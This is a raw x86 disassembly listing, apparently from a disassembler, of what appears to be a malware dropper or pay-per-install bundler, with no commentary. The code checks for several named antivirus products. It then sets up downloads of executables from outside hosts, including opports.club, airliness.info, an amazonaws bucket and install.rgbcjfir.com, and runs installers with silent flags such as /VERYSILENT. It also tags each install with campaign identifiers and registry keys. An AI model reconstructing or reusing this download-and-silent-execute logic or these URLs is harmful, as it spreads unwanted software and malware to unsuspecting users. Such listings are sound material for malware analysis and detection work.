add esp, 4
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x37
call fcn.0040b0d0
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.Zillya_Internet_Security
mov edx, esi
lea ecx, [ebp - 0xec]
call fcn.0040c750
add esp, 4
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x38
call fcn.0040b0d0
lea ecx, [ebp - 0xec]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.TrustPortAntivirus_bin
mov edx, esi
lea ecx, [ebp - 0x104]
call fcn.0040c750
add esp, 4
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x39
call fcn.0040b0d0
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.Panda_SecurityPanda_Security_Protection
mov edx, esi
lea ecx, [ebp - 0x11c]
call fcn.0040c750
add esp, 4
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x3a
call fcn.0040b0d0
lea ecx, [ebp - 0x11c]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.NANO_Antivirus_bin
mov edx, esi
lea ecx, [ebp - 0x134]
call fcn.0040c750
add esp, 4
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x3b
call fcn.0040b0d0
lea ecx, [ebp - 0x134]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.Quick_HealQuick_Heal_Total_Security
mov edx, esi
lea ecx, [ebp - 0x14c]
call fcn.0040c750
add esp, 4
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x3c
call fcn.0040b0d0
lea ecx, [ebp - 0x14c]
mov byte [ebp - 4], 3
call fcn.004014b0
push str._superantispyware
mov edx, esi
lea ecx, [ebp - 0x164]
call fcn.0040c750
add esp, 4
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x3d
call fcn.0040b0d0
lea ecx, [ebp - 0x164]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.Total_DefenseInfo_Center
mov edx, esi
lea ecx, [ebp - 0x17c]
call fcn.0040c750
add esp, 4
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x3e
call fcn.0040b0d0
lea ecx, [ebp - 0x17c]
mov byte [ebp - 4], 3
call fcn.004014b0
push 0x90
call fcn.00419c80
mov esi, eax
mov dword [ebp - 0x88], esi
mov ecx, esi
mov byte [ebp - 4], 0x3f
call fcn.00406c10
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x78], esp
push str.app.exe
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x40
mov ecx, esp
mov dword [ebp - 0x7c], esp
push str.http:__opports.club_app.exe
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x41
mov ecx, esp
mov dword [ebp - 0x80], esp
push str._1_5
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x42
mov ecx, esp
push str.Xtex
call fcn.0040b240
mov ecx, esi
mov byte [ebp - 4], 0x3f
call fcn.00416bb0
push str.Xtex
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
mov esi, eax
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x43
add edi, 0xac
push eax
mov ecx, edi
call fcn.0040afc0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
mov dword [eax], esi
call fcn.004014b0
push str.Xtex
lea ecx, [ebp - 0x5c]
call fcn.0040b240
sub esp, 0xc
mov byte [ebp - 4], 0x44
lea eax, [ebp - 0x44]
mov dword [ebp - 0x84], esp
mov ecx, esp
push eax
call fcn.0040b140
sub esp, 0xc
mov byte [ebp - 4], 0x45
lea eax, [ebp - 0x38]
mov dword [ebp - 0x80], esp
mov ecx, esp
push eax
call fcn.0040b140
sub esp, 0xc
mov byte [ebp - 4], 0x46
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x7c], esp
mov ecx, esp
push eax
call fcn.0040b140
sub esp, 0xc
mov byte [ebp - 4], 0x47
lea eax, [ebp - 0x20]
mov dword [ebp - 0x78], esp
mov ecx, esp
push eax
call fcn.0040b140
mov byte [ebp - 4], 0x48
lea eax, [ebp - 0x5c]
mov ecx, edi
push eax
call fcn.0040afc0
mov byte [ebp - 4], 0x44
mov ecx, dword [eax]
call fcn.00417440
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 3
call fcn.004014b0
push 0x90
call fcn.00419c80
mov esi, eax
mov dword [ebp - 0x84], esi
mov ecx, esi
mov byte [ebp - 4], 0x49
call fcn.00406c10
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x80], esp
push str.app.exe
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x4a
mov ecx, esp
mov dword [ebp - 0x7c], esp
push str.http:__airliness.info_app.exe
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x4b
mov ecx, esp
mov dword [ebp - 0x78], esp
push str._3_77
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x4c
mov ecx, esp
push str.XtexK
call fcn.0040b240
mov ecx, esi
mov byte [ebp - 4], 0x49
call fcn.00416bb0
push str.XtexK
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 3
mov esi, eax
call fcn.0040b240
lea eax, [ebp - 0x5c]
mov byte [ebp - 4], 0x4d
push eax
mov ecx, edi
call fcn.0040afc0
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 3
mov dword [eax], esi
call fcn.004014b0
push str.XtexK
lea ecx, [ebp - 0xa0]
call fcn.0040b240
sub esp, 0xc
mov byte [ebp - 4], 0x4e
lea eax, [ebp - 0x44]
mov dword [ebp - 0x84], esp
mov ecx, esp
push eax
call fcn.0040b140
sub esp, 0xc
mov byte [ebp - 4], 0x4f
lea eax, [ebp - 0x38]
mov dword [ebp - 0x80], esp
mov ecx, esp
push eax
call fcn.0040b140
sub esp, 0xc
mov byte [ebp - 4], 0x50
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x7c], esp
mov ecx, esp
push eax
call fcn.0040b140
sub esp, 0xc
mov byte [ebp - 4], 0x51
lea eax, [ebp - 0x20]
mov dword [ebp - 0x78], esp
mov ecx, esp
push eax
call fcn.0040b140
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 0x52
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 0x4e
mov ecx, dword [eax]
call fcn.00417440
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 3
call fcn.004014b0
lea ecx, [ebp - 0x2c]
call fcn.0040b0b0
lea ecx, [ebp - 0x20]
call fcn.0040b0b0
push 0x90
call fcn.00419c80
mov esi, eax
mov dword [ebp - 0x84], esi
mov ecx, esi
mov byte [ebp - 4], 0x53
call fcn.00406c10
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x80], esp
push str.setup.exe
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x54
mov ecx, esp
mov dword [ebp - 0x7c], esp
push str.http:__s3_eu_west_1.amazonaws.com_pathsetup_exeN_setup.exe
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x55
mov ecx, esp
mov dword [ebp - 0x78], esp
push str._VERYSILENT__m0__id305a4c977a384169.63248215__sub_id724
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x56
mov ecx, esp
push str.MultiTimerE
call fcn.0040b240
mov ecx, esi
mov byte [ebp - 4], 0x53
call fcn.00416bb0
push str.MultiTimerE
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 3
mov esi, eax
call fcn.0040b240
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 0x57
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xa0]
mov dword [eax], esi
call fcn.004014b0
push str.SOFTWAREMicrosoftmultitimercampaign84170
lea ecx, [ebp - 0xa0]
call fcn.0040b240
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 0x58
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SOFTWAREWow6432NodeMicrosoftmultitimercampaign84170
lea ecx, [ebp - 0xa0]
call fcn.0040b240
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 0x59
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.MultiTimerE
lea ecx, [ebp - 0xb8]
call fcn.0040b240
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x84], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x80], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov byte [ebp - 4], 0x5c
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x7c], esp
mov ecx, esp
push eax
call fcn.0040b140
sub esp, 0xc
mov byte [ebp - 4], 0x5d
lea eax, [ebp - 0x20]
mov dword [ebp - 0x78], esp
mov ecx, esp
push eax
call fcn.0040b140
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 0x5e
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 0x5a
mov ecx, dword [eax]
call fcn.00417440
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 3
call fcn.004014b0
lea ecx, [ebp - 0x2c]
call fcn.0040b0b0
lea ecx, [ebp - 0x20]
call fcn.0040b0b0
lea ecx, [ebp - 0x38]
call fcn.0040b0b0
lea ecx, [ebp - 0x44]
call fcn.0040b0b0
push str.SoftwareRtp
lea ecx, [ebp - 0xb8]
call fcn.0040b240
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 0x5f
push eax
lea ecx, [ebp - 0x20]
call fcn.0040b0d0
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 3
call fcn.004014b0
mov ecx, dword [ebp - 0xbc]
push 0x443a60
call fcn.0040d300
test al, al
je 0x408389
push str.adcash.cf
lea eax, [ebp - 0x5c]
push str.http:__www._s_20190118_4C384435_9E82_4011_ACF3_78489BB98229.exe
push eax
call fcn.0040fe00
add esp, 0xc
push 0x90
mov byte [ebp - 4], 0x60
call fcn.00419c80
mov esi, eax
mov dword [ebp - 0x84], esi
mov ecx, esi
mov byte [ebp - 4], 0x61
call fcn.00406c10
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x80], esp
push 0x44263c
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x62
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x7c], esp
mov ecx, esp
push eax
call fcn.0040b290
sub esp, 0x18
mov byte [ebp - 4], 0x63
mov ecx, esp
mov dword [ebp - 0x78], esp
push 0x44263c
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x64
mov ecx, esp
push str.SafeFinder
call fcn.0040b240
mov ecx, esi
mov byte [ebp - 4], 0x61
call fcn.00416bb0
push str.SafeFinder
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 0x60
mov esi, eax
call fcn.0040b240
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 0x65
push eax
mov ecx, edi
call fcn.0040afc0
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 0x60
mov dword [eax], esi
call fcn.004014b0
push str.SafeFinder
lea ecx, [ebp - 0xa0]
call fcn.0040b240
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x84], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x80], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov byte [ebp - 4], 0x68
mov ecx, esp
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x7c], esp
push eax
call fcn.0040b140
sub esp, 0xc
mov byte [ebp - 4], 0x69
lea eax, [ebp - 0x20]
mov dword [ebp - 0x78], esp
mov ecx, esp
push eax
call fcn.0040b140
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 0x6a
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 0x66
mov ecx, dword [eax]
call fcn.00417440
lea ecx, [ebp - 0xa0]
call fcn.004014b0
lea ecx, [ebp - 0x5c]
jmp 0x4084d3
push 0x90
call fcn.00419c80
mov esi, eax
mov dword [ebp - 0x84], esi
mov ecx, esi
mov byte [ebp - 4], 0x6b
call fcn.00406c10
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x80], esp
push str.fish.exe
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x6c
mov ecx, esp
mov dword [ebp - 0x7c], esp
push str.http:__install.rgbcjfir.com_download_APSFADexpNR
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x6d
mov ecx, esp
mov dword [ebp - 0x78], esp
push str._packer_:_DistributerName_:_APSFADexpNR___ChannelId_:_3___Agent_:_SetAll_:_true___campaignId_:_212_
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x6e
mov ecx, esp
push str.SafeFinderA
call fcn.0040b240
mov ecx, esi
mov byte [ebp - 4], 0x6b
call fcn.00416bb0
push str.SafeFinderA
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 3
mov esi, eax
call fcn.0040b240
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 0x6f
push eax
mov ecx, edi
call fcn.0040afc0
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 3
mov dword [eax], esi
call fcn.004014b0
push str.SafeFinderA
lea ecx, [ebp - 0xa0]
call fcn.0040b240
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x84], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x80], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov byte [ebp - 4], 0x72
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x7c], esp
mov ecx, esp
push eax
call fcn.0040b140
sub esp, 0xc
mov byte [ebp - 4], 0x73
mov ecx, esp
mov dword [ebp - 0x78], esp
lea eax, [ebp - 0x20]
push eax
call fcn.0040b140
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 0x74
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 0x70
mov ecx, dword [eax]
call fcn.00417440
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 3
call fcn.004014b0
call fcn.0040f200
test al, al
jne 0x408679
lea ecx, [ebp - 0x20]
call fcn.0040b0b0
push str.SoftwareOpera_Software
lea ecx, [ebp - 0xb8]
call fcn.0040b240
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 0x75
push eax
lea ecx, [ebp - 0x20]
call fcn.0040b0d0
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 3
call fcn.004014b0
push 0x90
call fcn.00419c80
mov esi, eax
mov dword [ebp - 0x84], esi
mov ecx, esi
mov byte [ebp - 4], 0x76
call fcn.00406c10
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x80], esp
push str.OperaSetup.exe
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x77
mov ecx, esp
mov dword [ebp - 0x7c], esp
push str.https:__o_browser.ru_link_420d_5455_
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x78
mov ecx, esp
mov dword [ebp - 0x78], esp
push str.__silent___allusers0
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x79
mov ecx, esp
push str.Opera
call fcn.0040b240
mov ecx, esi
mov byte [ebp - 4], 0x76
call fcn.00416bb0
push str.Opera
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 3
mov esi, eax
call fcn.0040b240
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 0x7a
push eax
mov ecx, edi
call fcn.0040afc0
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 3
mov dword [eax], esi
call fcn.004014b0
push str.Opera
lea ecx, [ebp - 0xa0]
call fcn.0040b240
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x84], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x80], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x7c], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov byte [ebp - 4], 0x7e
lea eax, [ebp - 0x20]
mov dword [ebp - 0x78], esp
mov ecx, esp
push eax
call fcn.0040b140
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 0x7f
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 0x7b
mov ecx, dword [eax]
call fcn.00417440
lea ecx, [ebp - 0xa0]
call fcn.004014b0
lea ecx, [ebp - 0x44]
call fcn.0040b540
lea ecx, [ebp - 0x38]
call fcn.0040b540
lea ecx, [ebp - 0x20]
call fcn.0040b540
lea ecx, [ebp - 0x2c]
call fcn.0040b540
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00419c6a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
int3